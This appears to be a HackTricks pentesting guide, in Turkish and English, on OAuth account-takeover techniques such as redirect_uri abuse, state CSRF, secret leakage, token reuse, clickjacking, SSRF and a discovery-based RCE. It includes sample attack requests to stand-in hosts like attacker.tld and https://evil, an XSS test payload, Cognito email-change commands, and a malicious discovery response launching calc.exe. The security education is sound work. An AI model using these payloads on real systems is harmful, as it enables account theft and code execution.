OAuth ile Hesap Ele Geçirme

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

OAuth çeşitli versiyonlar sunar; temel bilgiler için OAuth 2.0 documentation adresine bakılabilir. Bu tartışma öncelikle yaygın olarak kullanılan OAuth 2.0 authorization code grant type üzerinde yoğunlaşır ve başka bir uygulamadaki bir kullanıcının hesabına erişim veya o hesap üzerinde işlem yapma yetkisi veren bir yetkilendirme çerçevesi sunar (authorization server).

Örnek olarak, tüm sosyal medya paylaşımlarınızı, özel olanlar da dahil olmak üzere, göstermek üzere tasarlanmış varsayımsal bir site olan https://example.com olduğunu düşünün. Bunu gerçekleştirmek için OAuth 2.0 kullanılır. https://example.com sizin sosyal medya gönderilerinize erişim için izninizi isteyecektir. Sonuç olarak, istenen izinleri ve istekte bulunan geliştiriciyi gösteren bir onay ekranı https://socialmedia.com üzerinde belirecektir. İzni verdiğinizde, https://example.com sizin adınıza gönderilerinize erişme yetkisi kazanır.

OAuth 2.0 çerçevesinde aşağıdaki bileşenleri anlamak önemlidir:

  • resource owner: Kaynak sahibi olarak siz; örneğin sosyal medya hesabınızdaki gönderilere erişime izin veren kullanıcı/varlık.
  • resource server: Uygulamanın access token elde ettikten sonra yetkilendirilmiş istekleri yöneten sunucu, örn. https://socialmedia.com.
  • client application: Kaynak sahibinden yetki isteyen uygulama, örn. https://example.com.
  • authorization server: Kaynak sahibinin başarıyla kimlik doğrulamasının ve yetkilendirmenin ardından client application’a access token veren sunucu, örn. https://socialmedia.com.
  • client_id: Uygulama için genel, benzersiz bir tanımlayıcı.
  • client_secret: Yalnızca uygulama ve authorization server tarafından bilinen gizli anahtar; access_tokens üretiminde kullanılır.
  • response_type: İstenen token türünü belirten değer, örn. code.
  • scope: client application’ın kaynak sahibinden talep ettiği erişim seviyesi.
  • redirect_uri: Kullanıcının yetkilendirmeden sonra yönlendirileceği URL. Genellikle önceden kayıtlı redirect URL ile eşleşmesi gerekir.
  • state: Kullanıcının authorization server’a yönlendirilmesi sırasında veriyi korumak için kullanılan parametre. CSRF koruması sağlamak için benzersiz olması kritiktir.
  • grant_type: Verilecek olan yetki türünü ve döndürülecek token tipini belirten parametre.
  • code: Authorization server tarafından verilen yetkilendirme kodu; client uygulama tarafından client_id ve client_secret ile birlikte access_token almak için kullanılır.
  • access_token: Client uygulamanın kaynak sahibi adına API istekleri yapmak için kullandığı token.
  • refresh_token: Uygulamanın kullanıcıyı yeniden istemeden yeni bir access_token almasını sağlar.

Akış

Gerçek OAuth akışı şu şekilde ilerler:

  1. https://example.com sitesine gidip “Integrate with Social Media” butonuna tıklarsınız.
  2. Site, https://example.com’un uygulamasının gönderilerinize erişmesine izin vermek için https://socialmedia.com adresine yetki talebi gönderir. İstek şu şekilde yapılandırılır:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Size bir onay sayfası gösterilir.
  2. Onayınızın ardından, Social Media redirect_uri’ye code ve state parametreleri ile bir yanıt gönderir:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com bu code, client_id ve client_secret ile birlikte kullanarak sizin adınıza server-side bir istek yapar ve bir access_token elde eder; böylece onayladığınız izinlere erişim sağlanır:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Son olarak süreç, https://example.com adresinin access_token’ınızı kullanarak Sosyal Medya’ya API çağrısı yapıp erişim sağlamasıyla sona erer

Zayıflıklar

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Buradaki herhangi bir zayıflık, saldırganın kurbanı kötü amaçlı bir authorization URL’si aracılığıyla göndermesine izin verir; IdP kurbanın code (ve state) değerini doğrudan saldırgan uç noktasına teslim eder, saldırgan da bunu kullanıp tokenleri elde edebilir.

Tipik saldırı iş akışı:

  1. https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback oluşturun ve kurbana gönderin.
  2. Kurban kimlik doğrulaması yapar ve scope’ları onaylar.
  3. IdP attacker.tld/callback?code=<victim-code>&state=... adresine yönlendirir; saldırgan isteği kaydeder ve code’u hemen değiş tokuş eder.

Test edilecek yaygın doğrulama hataları:

  • Doğrulama yok – herhangi bir absolute URL kabul edilir, bu da anında code hırsızlığıyla sonuçlanır.
  • Host üzerinde zayıf substring/regex kontrolleri – evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com veya match.com@evil.com gibi görünüş olarak benzer domainlerle atlatılabilir.
  • IDN homograph mismatches – doğrulama punycode formu (xn--) üzerinde yapılır, ancak tarayıcı saldırganın kontrolündeki Unicode domaine yönlendirir.
  • İzin verilen bir host üzerinde rastgele path’ler – redirect_uri’yi /openredirect?next=https://attacker.tld veya herhangi bir XSS/user-content endpoint’ine yönlendirmek, zincirlenmiş yönlendirmeler, Referer header’ları veya injected JavaScript yoluyla code’un sızmasına neden olur.
  • Normalize edilmemiş dizin kısıtlamaları – /oauth/* gibi pattern’ler /oauth/../anything ile atlatılabilir.
  • Wildcard subdomain’ler – *.example.com kabul edilmesi, herhangi bir takeover (dangling DNS, S3 bucket, vb.) durumunda anında geçerli bir callback sağlar.
  • Non-HTTPS callback’ler – http:// URI’lerine izin vermek, ağ saldırganlarına (Wi-Fi, corporate proxy) transit sırasında code’u ele geçirme fırsatı verir.

Ayrıca yardımcı redirect-tarzı parametreleri (client_uri, policy_uri, tos_uri, initiate_login_uri, vb.) ve ilave endpoint’lerin aynı doğrulama hatalarını miras alıp almadığını görmek için OpenID discovery dokümanını (/.well-known/openid-configuration) inceleyin.

XSS in redirect implementation

As mentioned in this bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html yönlendirmenin URL’sinin sunucunun yanıtında yansıtılıyor olması ve kullanıcının kimlik doğrulamasından sonra XSS’e açık olması mümkün olabilir. Test edilecek olası payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state parametresinin hatalı işlenmesi

state parametresi Authorization Code flow CSRF token’ıdır: client her tarayıcı örneği için kriptografik olarak rastgele bir değer üretmeli, sadece o tarayıcının okuyabileceği bir yerde (cookie, local storage, vb.) saklamalı, authorization isteğinde göndermeli ve aynı değeri döndürmeyen tüm yanıtları reddetmelidir. Değer statik, öngörülebilir, opsiyonel veya kullanıcının oturumuna bağlı değilse, saldırgan kendi OAuth akışını tamamlayıp son ?code= isteğini yakalayabilir (göndermeden) ve daha sonra kurban tarayıcısını o isteği yeniden oynatmaya zorlayarak kurban hesabının saldırganın IdP profiline bağlanmasını sağlayabilir.

Yeniden oynatma deseni her zaman aynıdır:

  1. Saldırgan kendi hesabıyla IdP’ye karşı kimlik doğrulaması yapar ve son yönlendirmeyi içeren code (ve varsa state) değerini yakalar.
  2. O isteği bırakır, URL’i saklar ve daha sonra herhangi bir CSRF primitive (link, iframe, otomatik gönderilen form) kötüye kullanarak kurban tarayıcısının bu URL’i yüklemesini sağlar.
  3. Eğer client state’i zorunlu kılmazsa, uygulama saldırganın authorization sonucunu kullanır ve saldırganı kurbanın uygulama hesabına giriş yaptırır.

Testler sırasında state yönetimi için pratik kontrol listesi:

  • state tamamen eksik – eğer parametre hiç görünmüyorsa, tüm login CSRF saldırısına açıktır.
  • state gerekli değil – başlangıç isteğinden çıkarın; IdP hala client’ın kabul ettiği kodları üretiyorsa, savunma isteğe bağlıdır.
  • Döndürülen state doğrulanmıyor – cevaptaki değeri bozun (Burp, MITM proxy). Uyuşmayan değerleri kabul etmek, saklanan token’ın hiç karşılaştırılmadığı anlamına gelir.
  • Öngörülebilir veya tamamen veri odaklı state – birçok uygulama redirect path’leri veya JSON blob’larını state içine rastgelelik katmadan koyar; bu da saldırganların geçerli değerleri tahmin edip akışları yeniden oynatmasına izin verir. Verileri encode etmeden önce her zaman başına/sonuna güçlü entropi ekleyin.
  • state fixation – eğer uygulama kullanıcılara state değerini sağlamasına izin veriyorsa (ör. crafted authorization URLs ile) ve bunu akış boyunca yeniden kullanıyorsa, saldırgan bilinen bir değeri sabitleyip birden fazla kurbanda tekrar kullanabilir.

PKCE, authorization code’u bir code verifier’a bağlayarak state’i tamamlayabilir (özellikle public clients için), ancak web client’ları yine de cross-user CSRF/account-linking hatalarını önlemek için state’i takip etmelidir.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Saldırganlar kurbanın e-postasını kullanarak önceden bir hesap oluşturabilir. Kurban daha sonra üçüncü taraf bir servisle giriş yaparsa, uygulama istemeden bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesaba bağlayabilir ve yetkisiz erişime yol açabilir.
  2. Exploiting Lax OAuth Email Verification: Saldırganlar, e-postaları doğrulamayan OAuth servislerini kayıt olarak ve ardından hesap e-postasını kurbanın e-postasına değiştirerek istismar edebilir. Bu yöntem de ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır fakat farklı bir saldırı vektörü aracılığıyla.

Disclosure of Secrets

client_id kasıtlı olarak herkese açıktır, ancak client_secret asla son kullanıcılar tarafından geri kazanılabilir olmamalıdır. Secret’i mobile APKs, desktop clients, or single-page apps içine gömen Authorization Code dağıtımları, paketi indirebilen herkese bu kimlik bilgilerini vermiş olur. Public clients’ları her zaman şu şekilde inceleyin:

  • APK/IPA, desktop installer veya Electron uygulamasını açıp client_secret, Base64 blob’ları (JSON’a decode olan) veya hard-coded OAuth endpoint’leri için grep’leyin.
  • Paketlenmiş config dosyalarını (plist, JSON, XML) veya decompile edilmiş string’leri client credentials için inceleyin.

Saldırgan secret’i çıkardıktan sonra, herhangi bir kurbanın authorization code’unu (zayıf bir redirect_uri, loglar, vb. yoluyla) çalması yeterlidir; böylece meşru uygulamayı dahil etmeden /token endpoint’ine gidip access/refresh token’ları oluşturabilir. Public/native client’ları secrets saklayamayan varlıklar olarak kabul edin — bunun yerine statik secret yerine her örneğe özgü bir code verifier’a sahip olunduğunu kanıtlamak için PKCE (RFC 7636) kullanılmalıdır. Test sırasında PKCE’nin zorunlu olup olmadığını ve backend’in ya client_secret veya geçerli bir code_verifier eksik olduğunda token exchange’lerini gerçekten reddedip reddetmediğini doğrulayın.

Client Secret Bruteforce

Hesapları çalmaya çalışmak için bir service provider’ın identity provider ile client_secret’ini bruteforce etmeyi deneyebilirsiniz.
Brute force isteği şu şekilde görünebilir:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer Header leaking Code + State

Once the client has the code and state, if it’s reflected inside the Referer header when he browses to a different page, then it’s vulnerable.

Access Token Stored in Browser History

Authorization Code grant’in temel güvencesi, access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and use it with a different client then you can takeover other accounts.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Diğer Uygulamaların token’larının Kötüye Kullanılması

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

Two links & cookie

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Key Points:

  • Dynamic Client Registration is often mapped to /register and accepts details like client_name, client_secret, redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
  • This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
  • The registration process can inadvertently expose servers to SSRF in several ways:
  • logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
  • jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
  • sector_identifier_uri: References a JSON array of redirect_uris, which the server might fetch, creating an SSRF opportunity.
  • request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.

Exploitation Strategy:

  • SSRF can be triggered by registering a new client with malicious URLs in parameters like logo_uri, jwks_uri, or sector_identifier_uri.
  • While direct exploitation via request_uris may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled request_uri can facilitate SSRF during the authorization phase.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. İstemci sağlanan URI için OS handler’ını başlatır. Windows file:/c:/windows/system32/calc.exe /c"powershell -enc ..." gibi payloadları kabul eder; macOS/Linux file:///Applications/Calculator.app/... veya kayıtlıysa cmd://bash -lc '<payload>' gibi özel şemaları da kabul eder.
  2. Bunun herhangi bir kullanıcı etkileşiminden önce gerçekleşmesi nedeniyle, istemciyi saldırgan sunucuyla konuşacak şekilde yapılandırmak bile kod yürütmeye yol açar.

How to test

  • Hedef: discovery işlemini HTTP(S) üzerinden yapan ve döndürülen endpoint’leri yerel olarak açan herhangi bir OAuth-capable desktop/agent (Electron apps, CLI helpers, thick clients).
  • discovery yanıtını intercept edin veya barındırın ve authorization_endpoint, device_authorization_endpoint veya benzeri alanları file://, cmd://, UNC yolları veya diğer tehlikeli şemalarla değiştirin.
  • İstemcinin scheme/host doğrulayıp doğrulamadığını gözlemleyin. Doğrulama yoksa, kullanıcı bağlamında anında yürütme gerçekleşir ve sorun kanıtlanmış olur.
  • Tüm saldırı yüzeyini haritalamak için farklı şemalarla tekrarlayın (ör. ms-excel:, data:text/html,, custom protocol handlers) ve platformlar arası erişimi gösterin.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin